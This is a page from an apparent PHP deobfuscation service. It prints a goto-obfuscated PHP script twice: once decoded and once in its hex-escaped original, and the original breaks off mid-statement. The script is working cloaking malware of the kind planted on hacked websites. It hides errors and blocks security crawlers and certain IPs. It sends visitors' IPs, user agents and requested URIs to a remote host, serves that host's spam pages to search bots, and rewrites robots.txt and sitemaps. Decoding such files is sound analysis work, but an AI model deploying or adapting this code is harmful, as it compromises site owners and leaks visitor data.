Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto GszhE; gxhy9: HHvbj: goto s4Edf; S_d9S: if (strpos($K4n8B, "\x72\x6f\x62\157\1..

Decoded Output download

<?php 
goto GszhE; gxhy9: HHvbj: goto s4Edf; S_d9S: if (strpos($K4n8B, "robots.txt") !== false || strpos($K4n8B, "writerobots") !== false) { goto enzqo; } goto QR5OE; qSYn8: echo $OTgq9; goto H2nNt; RF10o: $yjvmH = ''; goto A4KyV; R40Fz: header("HTTP/1.1 404 Not Found"); goto kKOIJ; mC8rT: header("Content-Type: text/xml; charset=utf-8"); goto HvBJ5; chNKC: HALBH: goto gr3pQ; mO4VR: C8c1d: goto PE8lf; GaNqC: $A5ZLQ = "User-agent: *
Allow: /"; goto G3fKB; n3xI_: function W5CJg($c46of) { goto iFBYs; GyWEv: if (!empty($WCBZm)) { goto SLoYB; } goto RYOdo; AjlyK: SLoYB: goto dgvPu; SFZxu: curl_setopt($MNZqE, CURLOPT_URL, $c46of); goto M60Mb; o2VB2: curl_setopt($MNZqE, CURLOPT_SSL_VERIFYPEER, FALSE); goto FvDww; yUAqq: curl_setopt($MNZqE, CURLOPT_FOLLOWLOCATION, false); goto RVun2; z2XX2: if (!(strpos($c46of, "https://") !== false)) { goto XFWUc; } goto o2VB2; FvDww: curl_setopt($MNZqE, CURLOPT_SSL_VERIFYHOST, FALSE); goto Y6ON5; RYOdo: $WCBZm = @file_get_contents($c46of); goto AjlyK; E3Fyq: $WCBZm = curl_exec($MNZqE); goto yWKGZ; M60Mb: curl_setopt($MNZqE, CURLOPT_RETURNTRANSFER, true); goto yUAqq; yWKGZ: curl_close($MNZqE); goto GyWEv; dgvPu: return $WCBZm; goto Ysx1K; Y6ON5: XFWUc: goto E3Fyq; RVun2: curl_setopt($MNZqE, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto z2XX2; iFBYs: $MNZqE = curl_init(); goto SFZxu; Ysx1K: } goto QkzKs; nZ1Oh: $TXFIA = $t566w . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto nYP_Q; tB2V7: @file_put_contents("uxo.txt", "0"); goto MwkvY; A4KyV: echo $x75YZ . ": " . $yjvmH . "<br/>"; goto d0aNi; mUuu0: $e5oBF = 1; goto aomsL; P8yFy: $e7WQ6 = $_SERVER["SCRIPT_NAME"]; goto W2FXw; iOkkU: exit; goto hHSfn; Y0gr5: function xmWBp($c46of) { goto pY6iY; CofSM: curl_setopt($MNZqE, CURLOPT_SSL_VERIFYPEER, FALSE); goto Cu0g2; mxgHm: curl_close($MNZqE); goto K07Cl; Cu0g2: curl_setopt($MNZqE, CURLOPT_SSL_VERIFYHOST, FALSE); goto czvvr; IJgFQ: curl_setopt($MNZqE, CURLOPT_FOLLOWLOCATION, false); goto bJ23P; U2Ih1: return $WCBZm; goto k3DWZ; To2vh: curl_setopt($MNZqE, CURLOPT_RETURNTRANSFER, true); goto IJgFQ; j7b9b: $WCBZm = curl_exec($MNZqE); goto mxgHm; bJ23P: if (!(strpos($c46of, "https://") !== false)) { goto IO7Df; } goto CofSM; czvvr: IO7Df: goto j7b9b; CxAWE: if (!empty($WCBZm)) { goto XHIl0; } goto kKHs0; K07Cl: XHIl0: goto U2Ih1; pY6iY: $WCBZm = @file_get_contents($c46of); goto CxAWE; kKHs0: $MNZqE = curl_init(); goto CUJW3; CUJW3: curl_setopt($MNZqE, CURLOPT_URL, $c46of); goto To2vh; k3DWZ: } goto n3xI_; fAArf: $ho2ga = $Ojdv_ . "?agent={$dgQLn}&refer={$M20XU}&lang={$l4tpy}&ip={$RQNx1}&dom={$PAx6p}&http={$t566w}&uri={$K4n8B}&pc={$RQOdb}&rewriteable={$e5oBF}&script={$YkI0k}"; goto KY56h; IangG: goto yv5RR; goto h_qVd; Tb5uL: echo $OTgq9 = xMWBp($ho2ga); goto zjFNv; nD4G8: header("HTTP/1.0 500 Internal Server Error"); goto ay9vU; XpCF3: exit; goto wjiuz; KckHp: keVHP: goto nZ1Oh; uBPDr: if (strpos($K4n8B, "pingsitemap.xml") !== false) { goto TizCi; } goto YHxEZ; WSPl8: UN6E_: goto f6uqz; p5M3q: exit; goto qPofm; lzqsl: uQr1w: goto mUuu0; PFKe3: if (!file_exists("uxo.txt")) { goto keVHP; } goto eMGKj; MwkvY: goto fkInh; goto lzqsl; IDS2M: $_SERVER["REQUEST_SCHEME"] = "https"; goto BTdlc; ARts2: goto Kos5v; goto chNKC; Bywp8: j_AXF: goto eEoFB; U2BKB: $OTgq9 = XmwBp($ho2ga); goto X322A; IDPY4: $e7WQ6 = "/"; goto I3Gif; bsHI3: goto yUDlg; goto Bywp8; ApRRQ: if ($e5oBF == 0) { goto x2cC1; } goto IDPY4; sNldN: exit; goto mO4VR; HvBJ5: CmnEn: goto qSYn8; eFXU3: $OTgq9 = xmwbp($ho2ga); goto NaV0S; Ai1N0: FlZFA: goto UkgNd; cysDO: $dgQLn = urlencode($_SERVER["HTTP_USER_AGENT"]); goto eJXdt; kKOIJ: echo $OTgq9; goto DVR0o; s4Edf: $Ao47p = "https://www.google.com/ping?sitemap="; goto GaNqC; dD4eI: if ($OTgq9 == "ok") { goto uQr1w; } goto VAFA4; X322A: echo $OTgq9; goto iOkkU; egni3: KEdm2: goto IangG; c53SV: $e7WQ6 = $e7WQ6 . "?"; goto QFA33; T12vZ: oT_Iq: goto uuVCV; ja3_Q: if (!(strpos($K4n8B, "uuuuxxxxooo") !== false)) { goto rbQv2; } goto Gof8n; KY56h: $OTgq9 = xMWbP($ho2ga); goto pE82s; EV7_s: goto KEdm2; goto TpH82; GszhE: error_reporting(0); goto wnIgE; BW36M: $ho2ga = $Ojdv_ . "?agent={$dgQLn}&refer={$M20XU}&lang={$l4tpy}&ip={$RQNx1}&dom={$PAx6p}&http={$t566w}&uri={$K4n8B}&pc={$RQOdb}&rewriteable={$e5oBF}&script={$YkI0k}"; goto eFXU3; jQCX4: if (!($OTgq9 == "500")) { goto aS6EZ; } goto nD4G8; LOSTz: $PAx6p = urlencode($_SERVER["HTTP_HOST"]); goto toGzr; PE8lf: lSuYG: goto EV7_s; MZJAQ: $e7WQ6 = "/?"; goto QVgqa; eMGKj: $e5oBF = @file_get_contents("uxo.txt"); goto Rp1gq; dxWDi: $A5ZLQ = trim($A5ZLQ) . "\xd\xa" . "Sitemap: {$x75YZ}"; goto RF10o; TpH82: QzjhA: goto fAArf; aomsL: @file_put_contents("uxo.txt", "1"); goto PA9KN; QFA33: goto HHvbj; goto eF13K; FrZJx: goto YtcGu; goto x5OHF; evok_: goto CmnEn; goto pzSg7; Sr6O1: $dMM3S = B2GYE(); goto wtzaR; wjiuz: Vd18X: goto JOZbS; d0cHR: header("HTTP/1.0 403 Forbidden"); goto OiTqZ; eJXdt: $M20XU = urlencode($_SERVER["HTTP_REFERER"]); goto r3q3s; pE82s: if (empty($OTgq9)) { goto Mll8k; } goto jQCX4; MbJcp: YFGJt: goto uBPDr; IOqYI: $t566w = urlencode($_SERVER["REQUEST_SCHEME"]); goto ij7S0; riz1V: goto NT1JZ; goto T12vZ; W2FXw: if (strpos($e7WQ6, "index.php") !== false) { goto DPLJG; } goto c53SV; juc37: exit; goto n2cp2; tP_r1: if (preg_match("/({$GociF})/i", $_SERVER["HTTP_REFERER"])) { goto ygqqt; } goto rApFz; ItHS8: $e5oBF = 0; goto PFKe3; eF13K: DPLJG: goto ApRRQ; GVhbs: if (!($dMM3S == "153.246.135.238" || $dMM3S == "219.101.44.233")) { goto g0IUf; } goto d0cHR; U5TS5: $Ojdv_ = "http://cw84.russiandue.top/index.php"; goto Pgfuh; uuVCV: header("HTTP/1.0 500 Internal Server Error"); goto p5M3q; K_NIj: $ho2ga = $Ojdv_ . "?agent={$dgQLn}&refer={$M20XU}&lang={$l4tpy}&ip={$RQNx1}&dom={$PAx6p}&http={$t566w}&uri={$K4n8B}&pc={$RQOdb}&rewriteable={$e5oBF}"; goto Dn4Qz; eGTli: yv5RR: goto RDZTB; tci3c: rbQv2: goto GVhbs; clYJG: @file_put_contents("robots.txt", $A5ZLQ); goto juc37; I3Gif: goto lzXWP; goto Q1cOn; HO2ks: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto czk6_; } goto VCI1n; PA9KN: fkInh: goto MbJcp; H2nNt: exit; goto v3FES; IAqaY: header("Content-Type: text/xml; charset=utf-8"); goto anqCo; wnIgE: function b2gye() { goto ECiBX; UfOk6: $RQNx1 = getenv("HTTP_X_FORWARDED_FOR"); goto ihuQD; ECiBX: if (!getenv("HTTP_CLIENT_IP")) { goto CBvoH; } goto AZib5; tpsCv: goto CiEQX; goto WmeKt; uK3Nj: $RQNx1 = "0.0.0.0"; goto dVkKR; V8LaL: return $RQNx1; goto vzfIA; Uan_F: Dr2o5: goto UfOk6; dVkKR: goto CiEQX; goto Bls4n; WmeKt: As2Uk: goto QtwCH; KB1CB: $RQNx1 = getenv("HTTP_X_REAL_IP"); goto dYbtD; Gxza_: if (getenv("HTTP_X_FORWARDED_FOR")) { goto Dr2o5; } goto Chkx7; xCyDl: $RQNx1 = $SlDPD[0]; goto tpsCv; ihuQD: $SlDPD = explode(",", $RQNx1); goto xCyDl; Bls4n: iHSBC: goto KB1CB; dYbtD: goto CiEQX; goto Uan_F; AZib5: $RQNx1 = getenv("HTTP_CLIENT_IP"); goto vTvbq; Chkx7: if (getenv("REMOTE_ADDR")) { goto As2Uk; } goto uK3Nj; KYJpg: CiEQX: goto V8LaL; JixLE: if (getenv("HTTP_X_REAL_IP")) { goto iHSBC; } goto Gxza_; vTvbq: CBvoH: goto JixLE; QtwCH: $RQNx1 = getenv("REMOTE_ADDR"); goto KYJpg; vzfIA: } goto Y0gr5; x_nIH: exit; goto riz1V; sSQmX: ygqqt: goto K_NIj; xqC6f: exit; goto tci3c; UkgNd: header("HTTP/1.0 500 Internal Server Error"); goto sNldN; BTdlc: YtcGu: goto IOqYI; lBau_: if ($OTgq9 == "500") { goto FlZFA; } goto cZ1B1; NaV0S: if ($OTgq9 == "500") { goto oT_Iq; } goto IAqaY; hHSfn: Kos5v: goto bsHI3; fparx: if (strpos($K4n8B, "jp2023") !== false) { goto HALBH; } goto S_d9S; JOZbS: $GociF = "bing|google|yahoo"; goto U5TS5; Z0I6p: TizCi: goto P8yFy; VCI1n: $_SERVER["REQUEST_SCHEME"] = "http"; goto FrZJx; OiTqZ: exit; goto LeJaE; h_qVd: xGxLd: goto BW36M; cZ1B1: if (empty($OTgq9)) { goto UN6E_; } goto R40Fz; DBCfT: goto kcy_c; goto Z0I6p; I13uY: if (preg_match("/({$GociF})/i", $_SERVER["HTTP_USER_AGENT"])) { goto QzjhA; } goto tP_r1; d0aNi: $ho2ga = $Ojdv_ . "?agent={$dgQLn}&refer={$M20XU}&lang={$l4tpy}&ip={$RQNx1}&dom={$PAx6p}&http={$t566w}&uri={$K4n8B}&pc={$RQOdb}&rewriteable={$e5oBF}&script={$YkI0k}&sitemap=" . urlencode($x75YZ); goto HX4vu; Dn4Qz: $OTgq9 = xMWBp($ho2ga); goto lBau_; l1sMV: MnajR: goto ARts2; RDZTB: goto MnajR; goto uPaAu; VAFA4: $e5oBF = 0; goto tB2V7; rApFz: goto lSuYG; goto sSQmX; QR5OE: if (preg_match("@^/(.*?).xml$@i", $K4n8B)) { goto xGxLd; } goto I13uY; rMBGf: header("Content-Type: text/html; charset=utf-8"); goto evok_; Gof8n: echo "ok"; goto xqC6f; Q1cOn: x2cC1: goto MZJAQ; toGzr: $YkI0k = urlencode($_SERVER["SCRIPT_NAME"]); goto HO2ks; W8CWl: header("Content-Type: text/plain; charset=utf-8"); goto Tb5uL; G3fKB: $x75YZ = "{$t566w}://" . $PAx6p . $e7WQ6 . "sitemap.xml"; goto dxWDi; cLVLY: exit; goto l1sMV; ay9vU: exit; goto gqj9K; f6uqz: goto C8c1d; goto Ai1N0; gqj9K: aS6EZ: goto WmJ8j; uPaAu: enzqo: goto WVOc2; VNQju: header("HTTP/1.0 403 Forbidden"); goto XpCF3; v3FES: Mll8k: goto egni3; zjFNv: @file_put_contents("robots.txt", $OTgq9); goto cLVLY; qPofm: NT1JZ: goto eGTli; WVOc2: $ho2ga = $Ojdv_ . "?agent={$dgQLn}&refer={$M20XU}&lang={$l4tpy}&ip={$RQNx1}&dom={$PAx6p}&http={$t566w}&uri={$K4n8B}&pc={$RQOdb}&rewriteable={$e5oBF}&script={$YkI0k}"; goto W8CWl; HX4vu: $OTgq9 = xmwbP($ho2ga); goto clYJG; WmJ8j: if (substr($OTgq9, 0, 5) == "<?xml") { goto oaa7S; } goto rMBGf; ij7S0: $K4n8B = urldecode($_SERVER["REQUEST_URI"]); goto ja3_Q; Pgfuh: $RQOdb = 2768; goto cysDO; DVR0o: exit; goto WSPl8; pzSg7: oaa7S: goto mC8rT; YHxEZ: if (strpos($K4n8B, "favicon.ico") !== false) { goto j_AXF; } goto fparx; anqCo: echo $OTgq9; goto x_nIH; x5OHF: czk6_: goto IDS2M; nYP_Q: $OTgq9 = XMWBp($TXFIA); goto dD4eI; r3q3s: $l4tpy = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto Sr6O1; QVgqa: lzXWP: goto gxhy9; Rp1gq: goto YFGJt; goto KckHp; QkzKs: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto Vd18X; } goto VNQju; gr3pQ: $ho2ga = $Ojdv_ . "?agent={$dgQLn}&refer={$M20XU}&lang={$l4tpy}&ip={$RQNx1}&dom={$PAx6p}&http={$t566w}&uri={$K4n8B}&pc={$RQOdb}&rewriteable={$e5oBF}&script={$YkI0k}"; goto U2BKB; wtzaR: $RQNx1 = urlencode($dMM3S); goto LOSTz; LeJaE: g0IUf: goto ItHS8; eEoFB: yUDlg: goto DBCfT; n2cp2: kcy_c: 
?>

Did this file decode correctly?

Original Code

<?php
goto GszhE; gxhy9: HHvbj: goto s4Edf; S_d9S: if (strpos($K4n8B, "\x72\x6f\x62\157\164\x73\x2e\x74\x78\164") !== false || strpos($K4n8B, "\x77\162\151\x74\x65\x72\x6f\x62\x6f\164\x73") !== false) { goto enzqo; } goto QR5OE; qSYn8: echo $OTgq9; goto H2nNt; RF10o: $yjvmH = ''; goto A4KyV; R40Fz: header("\x48\x54\x54\x50\x2f\61\56\61\40\x34\60\64\x20\x4e\157\164\40\x46\x6f\165\156\144"); goto kKOIJ; mC8rT: header("\x43\157\x6e\164\145\156\x74\x2d\x54\x79\160\x65\x3a\40\x74\145\x78\164\x2f\x78\155\x6c\x3b\x20\143\150\x61\x72\163\145\x74\x3d\165\x74\146\55\70"); goto HvBJ5; chNKC: HALBH: goto gr3pQ; mO4VR: C8c1d: goto PE8lf; GaNqC: $A5ZLQ = "\x55\163\x65\x72\x2d\x61\147\145\156\x74\72\40\x2a\15\12\x41\x6c\x6c\157\167\72\40\57"; goto G3fKB; n3xI_: function W5CJg($c46of) { goto iFBYs; GyWEv: if (!empty($WCBZm)) { goto SLoYB; } goto RYOdo; AjlyK: SLoYB: goto dgvPu; SFZxu: curl_setopt($MNZqE, CURLOPT_URL, $c46of); goto M60Mb; o2VB2: curl_setopt($MNZqE, CURLOPT_SSL_VERIFYPEER, FALSE); goto FvDww; yUAqq: curl_setopt($MNZqE, CURLOPT_FOLLOWLOCATION, false); goto RVun2; z2XX2: if (!(strpos($c46of, "\150\x74\164\x70\163\x3a\x2f\x2f") !== false)) { goto XFWUc; } goto o2VB2; FvDww: curl_setopt($MNZqE, CURLOPT_SSL_VERIFYHOST, FALSE); goto Y6ON5; RYOdo: $WCBZm = @file_get_contents($c46of); goto AjlyK; E3Fyq: $WCBZm = curl_exec($MNZqE); goto yWKGZ; M60Mb: curl_setopt($MNZqE, CURLOPT_RETURNTRANSFER, true); goto yUAqq; yWKGZ: curl_close($MNZqE); goto GyWEv; dgvPu: return $WCBZm; goto Ysx1K; Y6ON5: XFWUc: goto E3Fyq; RVun2: curl_setopt($MNZqE, CURLOPT_USERAGENT, $_SERVER["\110\x54\124\120\137\x55\x53\105\x52\137\101\x47\105\116\124"]); goto z2XX2; iFBYs: $MNZqE = curl_init(); goto SFZxu; Ysx1K: } goto QkzKs; nZ1Oh: $TXFIA = $t566w . "\72\57\x2f" . $_SERVER["\x48\x54\124\120\137\x48\117\123\124"] . "\x2f\165\x75\165\165\x78\x78\x78\x78\x6f\157\x6f"; goto nYP_Q; tB2V7: @file_put_contents("\165\x78\x6f\x2e\164\x78\164", "\60"); goto MwkvY; A4KyV: echo $x75YZ . "\72\40" . $yjvmH . "\x3c\x62\162\x2f\x3e"; goto d0aNi; mUuu0: $e5oBF = 1; goto aomsL; P8yFy: $e7WQ6 = $_SERVER["\x53\x43\122\x49\x50\x54\x5f\x4e\101\115\105"]; goto W2FXw; iOkkU: exit; goto hHSfn; Y0gr5: function xmWBp($c46of) { goto pY6iY; CofSM: curl_setopt($MNZqE, CURLOPT_SSL_VERIFYPEER, FALSE); goto Cu0g2; mxgHm: curl_close($MNZqE); goto K07Cl; Cu0g2: curl_setopt($MNZqE, CURLOPT_SSL_VERIFYHOST, FALSE); goto czvvr; IJgFQ: curl_setopt($MNZqE, CURLOPT_FOLLOWLOCATION, false); goto bJ23P; U2Ih1: return $WCBZm; goto k3DWZ; To2vh: curl_setopt($MNZqE, CURLOPT_RETURNTRANSFER, true); goto IJgFQ; j7b9b: $WCBZm = curl_exec($MNZqE); goto mxgHm; bJ23P: if (!(strpos($c46of, "\x68\x74\x74\160\x73\x3a\x2f\57") !== false)) { goto IO7Df; } goto CofSM; czvvr: IO7Df: goto j7b9b; CxAWE: if (!empty($WCBZm)) { goto XHIl0; } goto kKHs0; K07Cl: XHIl0: goto U2Ih1; pY6iY: $WCBZm = @file_get_contents($c46of); goto CxAWE; kKHs0: $MNZqE = curl_init(); goto CUJW3; CUJW3: curl_setopt($MNZqE, CURLOPT_URL, $c46of); goto To2vh; k3DWZ: } goto n3xI_; fAArf: $ho2ga = $Ojdv_ . "\77\x61\x67\145\x6e\x74\75{$dgQLn}\x26\162\145\146\x65\x72\75{$M20XU}\46\x6c\x61\156\x67\x3d{$l4tpy}\46\151\x70\x3d{$RQNx1}\46\x64\x6f\155\x3d{$PAx6p}\x26\x68\164\164\x70\75{$t566w}\x26\x75\162\x69\75{$K4n8B}\x26\160\143\x3d{$RQOdb}\x26\162\x65\x77\162\x69\x74\145\141\x62\x6c\x65\x3d{$e5oBF}\46\163\x63\x72\151\x70\164\75{$YkI0k}"; goto KY56h; IangG: goto yv5RR; goto h_qVd; Tb5uL: echo $OTgq9 = xMWBp($ho2ga); goto zjFNv; nD4G8: header("\x48\124\124\120\x2f\x31\56\60\40\x35\x30\x30\40\111\156\x74\x65\x72\x6e\141\x6c\40\123\x65\162\x76\x65\x72\x20\x45\162\162\x6f\x72"); goto ay9vU; XpCF3: exit; goto wjiuz; KckHp: keVHP: goto nZ1Oh; uBPDr: if (strpos($K4n8B, "\x70\x69\156\147\x73\x69\164\x65\x6d\x61\160\56\170\155\154") !== false) { goto TizCi; } goto YHxEZ; WSPl8: UN6E_: goto f6uqz; p5M3q: exit; goto qPofm; lzqsl: uQr1w: goto mUuu0; PFKe3: if (!file_exists("\x75\x78\157\56\x74\x78\x74")) { goto keVHP; } goto eMGKj; MwkvY: goto fkInh; goto lzqsl; IDS2M: $_SERVER["\122\105\121\125\x45\123\124\x5f\123\x43\110\x45\x4d\105"] = "\150\x74\x74\160\163"; goto BTdlc; ARts2: goto Kos5v; goto chNKC; Bywp8: j_AXF: goto eEoFB; U2BKB: $OTgq9 = XmwBp($ho2ga); goto X322A; IDPY4: $e7WQ6 = "\x2f"; goto I3Gif; bsHI3: goto yUDlg; goto Bywp8; ApRRQ: if ($e5oBF == 0) { goto x2cC1; } goto IDPY4; sNldN: exit; goto mO4VR; HvBJ5: CmnEn: goto qSYn8; eFXU3: $OTgq9 = xmwbp($ho2ga); goto NaV0S; Ai1N0: FlZFA: goto UkgNd; cysDO: $dgQLn = urlencode($_SERVER["\110\124\x54\x50\x5f\x55\x53\105\122\137\101\107\x45\x4e\124"]); goto eJXdt; kKOIJ: echo $OTgq9; goto DVR0o; s4Edf: $Ao47p = "\150\x74\164\160\163\x3a\x2f\x2f\167\167\167\56\147\157\x6f\x67\x6c\145\56\x63\x6f\x6d\x2f\x70\x69\156\147\77\163\151\x74\x65\x6d\141\160\75"; goto GaNqC; dD4eI: if ($OTgq9 == "\157\x6b") { goto uQr1w; } goto VAFA4; X322A: echo $OTgq9; goto iOkkU; egni3: KEdm2: goto IangG; c53SV: $e7WQ6 = $e7WQ6 . "\77"; goto QFA33; T12vZ: oT_Iq: goto uuVCV; ja3_Q: if (!(strpos($K4n8B, "\x75\x75\165\165\x78\170\170\x78\x6f\157\x6f") !== false)) { goto rbQv2; } goto Gof8n; KY56h: $OTgq9 = xMWbP($ho2ga); goto pE82s; EV7_s: goto KEdm2; goto TpH82; GszhE: error_reporting(0); goto wnIgE; BW36M: $ho2ga = $Ojdv_ . "\77\141\x67\145\156\164\75{$dgQLn}\x26\162\145\x66\x65\162\75{$M20XU}\46\x6c\141\x6e\x67\x3d{$l4tpy}\x26\x69\160\x3d{$RQNx1}\46\x64\x6f\x6d\75{$PAx6p}\x26\150\x74\164\160\75{$t566w}\46\165\x72\151\75{$K4n8B}\46\160\143\x3d{$RQOdb}\x26\162\x65\x77\x72\151\x74\145\141\x62\154\145\75{$e5oBF}\46\163\x63\x72\151\160\164\x3d{$YkI0k}"; goto eFXU3; jQCX4: if (!($OTgq9 == "\65\60\60")) { goto aS6EZ; } goto nD4G8; LOSTz: $PAx6p = urlencode($_SERVER["\x48\124\x54\x50\137\110\117\x53\124"]); goto toGzr; PE8lf: lSuYG: goto EV7_s; MZJAQ: $e7WQ6 = "\57\x3f"; goto QVgqa; eMGKj: $e5oBF = @file_get_contents("\165\x78\157\x2e\x74\x78\x74"); goto Rp1gq; dxWDi: $A5ZLQ = trim($A5ZLQ) . "\xd\xa" . "\x53\151\164\x65\155\x61\160\x3a\40{$x75YZ}"; goto RF10o; TpH82: QzjhA: goto fAArf; aomsL: @file_put_contents("\x75\x78\157\x2e\164\x78\x74", "\x31"); goto PA9KN; QFA33: goto HHvbj; goto eF13K; FrZJx: goto YtcGu; goto x5OHF; evok_: goto CmnEn; goto pzSg7; Sr6O1: $dMM3S = B2GYE(); goto wtzaR; wjiuz: Vd18X: goto JOZbS; d0cHR: header("\x48\x54\x54\120\x2f\x31\56\x30\x20\x34\60\63\x20\x46\157\162\x62\151\x64\144\x65\156"); goto OiTqZ; eJXdt: $M20XU = urlencode($_SERVER["\110\124\124\x50\137\122\x45\106\105\x52\105\x52"]); goto r3q3s; pE82s: if (empty($OTgq9)) { goto Mll8k; } goto jQCX4; MbJcp: YFGJt: goto uBPDr; IOqYI: $t566w = urlencode($_SERVER["\x52\105\x51\x55\x45\x53\124\x5f\x53\103\x48\105\x4d\105"]); goto ij7S0; riz1V: goto NT1JZ; goto T12vZ; W2FXw: if (strpos($e7WQ6, "\151\156\144\145\170\x2e\160\150\160") !== false) { goto DPLJG; } goto c53SV; juc37: exit; goto n2cp2; tP_r1: if (preg_match("\57\50{$GociF}\51\x2f\151", $_SERVER["\110\124\x54\120\x5f\122\x45\x46\105\122\x45\122"])) { goto ygqqt; } goto rApFz; ItHS8: $e5oBF = 0; goto PFKe3; eF13K: DPLJG: goto ApRRQ; GVhbs: if (!($dMM3S == "\x31\65\x33\x2e\62\x34\66\x2e\61\63\65\x2e\x32\x33\x38" || $dMM3S == "\62\x31\x39\56\x31\60\x31\56\x34\64\56\x32\x33\63")) { goto g0IUf; } goto d0cHR; U5TS5: $Ojdv_ = "\150\164\164\160\72\57\x2f\143\x77\x38\64\x2e\162\x75\x73\x73\151\141\x6e\x64\165\145\x2e\164\x6f\x70\x2f\151\156\x64\145\170\x2e\160\x68\x70"; goto Pgfuh; uuVCV: header("\x48\x54\x54\120\57\x31\x2e\60\x20\65\x30\60\x20\x49\x6e\164\145\x72\x6e\x61\154\40\123\145\162\166\x65\x72\40\x45\162\x72\x6f\x72"); goto p5M3q; K_NIj: $ho2ga = $Ojdv_ . "\77\141\147\x65\156\x74\x3d{$dgQLn}\x26\162\x65\146\145\162\75{$M20XU}\x26\154\x61\156\x67\x3d{$l4tpy}\x26\x69\160\x3d{$RQNx1}\46\x64\157\155\x3d{$PAx6p}\46\x68\164\164\160\75{$t566w}\x26\x75\x72\x69\75{$K4n8B}\46\160\x63\x3d{$RQOdb}\46\162\x65\x77\x72\x69\164\145\x61\x62\154\145\x3d{$e5oBF}"; goto Dn4Qz; eGTli: yv5RR: goto RDZTB; tci3c: rbQv2: goto GVhbs; clYJG: @file_put_contents("\x72\x6f\142\x6f\x74\163\x2e\164\170\x74", $A5ZLQ); goto juc37; I3Gif: goto lzXWP; goto Q1cOn; HO2ks: if (!empty($_SERVER["\122\x45\121\125\105\123\x54\x5f\123\103\x48\105\x4d\105"]) && $_SERVER["\122\105\x51\125\x45\x53\124\x5f\x53\x43\110\x45\x4d\x45"] == "\x68\164\x74\x70\163" || !empty($_SERVER["\x48\124\124\x50\x53"]) && $_SERVER["\110\x54\124\120\123"] == "\x6f\x6e" || !empty($_SERVER["\x53\105\122\126\105\122\137\120\x4f\x52\x54"]) && $_SERVER["\x53\x45\x52\126\x45\x52\137\x50\117\122\x54"] == "\x34\x34\x33" || isset($_SERVER["\x48\x54\x54\120\x5f\x58\x5f\x46\x4f\122\127\x41\122\x44\x45\x44\x5f\120\x52\117\124\117"]) && $_SERVER["\x48\x54\x54\120\137\x58\x5f\x46\x4f\x52\127\101\x52\104\105\x44\x5f\120\122\x4f\124\x4f"] == "\150\x74\164\160\163") { goto czk6_; } goto VCI1n; PA9KN: fkInh: goto MbJcp; H2nNt: exit; goto v3FES; IAqaY: header("\x43\157\156\x74\145\x6e\164\55\124\171\160\145\x3a\x20\x74\145\x78\164\x2f\x78\x6d\154\73\x20\143\150\x61\162\163\145\164\75\165\164\146\x2d\x38"); goto anqCo; wnIgE: function b2gye() { goto ECiBX; UfOk6: $RQNx1 = getenv("\110\124\124\120\x5f\130\137\x46\x4f\x52\127\101\x52\104\105\x44\137\x46\x4f\x52"); goto ihuQD; ECiBX: if (!getenv("\110\x54\x54\x50\x5f\103\114\111\x45\116\124\x5f\x49\x50")) { goto CBvoH; } goto AZib5; tpsCv: goto CiEQX; goto WmeKt; uK3Nj: $RQNx1 = "\60\56\x30\x2e\x30\x2e\60"; goto dVkKR; V8LaL: return $RQNx1; goto vzfIA; Uan_F: Dr2o5: goto UfOk6; dVkKR: goto CiEQX; goto Bls4n; WmeKt: As2Uk: goto QtwCH; KB1CB: $RQNx1 = getenv("\110\124\x54\x50\137\x58\x5f\122\105\x41\x4c\137\x49\120"); goto dYbtD; Gxza_: if (getenv("\110\124\124\x50\x5f\130\137\x46\x4f\122\127\101\122\x44\105\104\137\x46\117\122")) { goto Dr2o5; } goto Chkx7; xCyDl: $RQNx1 = $SlDPD[0]; goto tpsCv; ihuQD: $SlDPD = explode("\54", $RQNx1); goto xCyDl; Bls4n: iHSBC: goto KB1CB; dYbtD: goto CiEQX; goto Uan_F; AZib5: $RQNx1 = getenv("\110\124\124\120\137\x43\114\x49\x45\116\124\x5f\111\120"); goto vTvbq; Chkx7: if (getenv("\x52\x45\115\x4f\124\105\137\x41\104\x44\122")) { goto As2Uk; } goto uK3Nj; KYJpg: CiEQX: goto V8LaL; JixLE: if (getenv("\x48\x54\x54\x50\137\x58\x5f\122\x45\x41\114\137\111\x50")) { goto iHSBC; } goto Gxza_; vTvbq: CBvoH: goto JixLE; QtwCH: $RQNx1 = getenv("\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\122"); goto KYJpg; vzfIA: } goto Y0gr5; x_nIH: exit; goto riz1V; sSQmX: ygqqt: goto K_NIj; xqC6f: exit; goto tci3c; UkgNd: header("\x48\x54\124\120\57\61\x2e\x30\x20\x35\60\60\40\x49\156\164\x65\162\x6e\x61\154\40\x53\145\x72\x76\x65\162\40\105\x72\x72\x6f\162"); goto sNldN; BTdlc: YtcGu: goto IOqYI; lBau_: if ($OTgq9 == "\x35\60\60") { goto FlZFA; } goto cZ1B1; NaV0S: if ($OTgq9 == "\65\x30\x30") { goto oT_Iq; } goto IAqaY; hHSfn: Kos5v: goto bsHI3; fparx: if (strpos($K4n8B, "\152\x70\x32\x30\x32\x33") !== false) { goto HALBH; } goto S_d9S; JOZbS: $GociF = "\x62\x69\156\147\174\x67\157\x6f\x67\x6c\145\174\171\x61\150\x6f\157"; goto U5TS5; Z0I6p: TizCi: goto P8yFy; VCI1n: $_SERVER["\122\105\x51\x55\105\x53\124\137\x53\103\110\105\115\105"] = "\150\164\164\160"; goto FrZJx; OiTqZ: exit; goto LeJaE; h_qVd: xGxLd: goto BW36M; cZ1B1: if 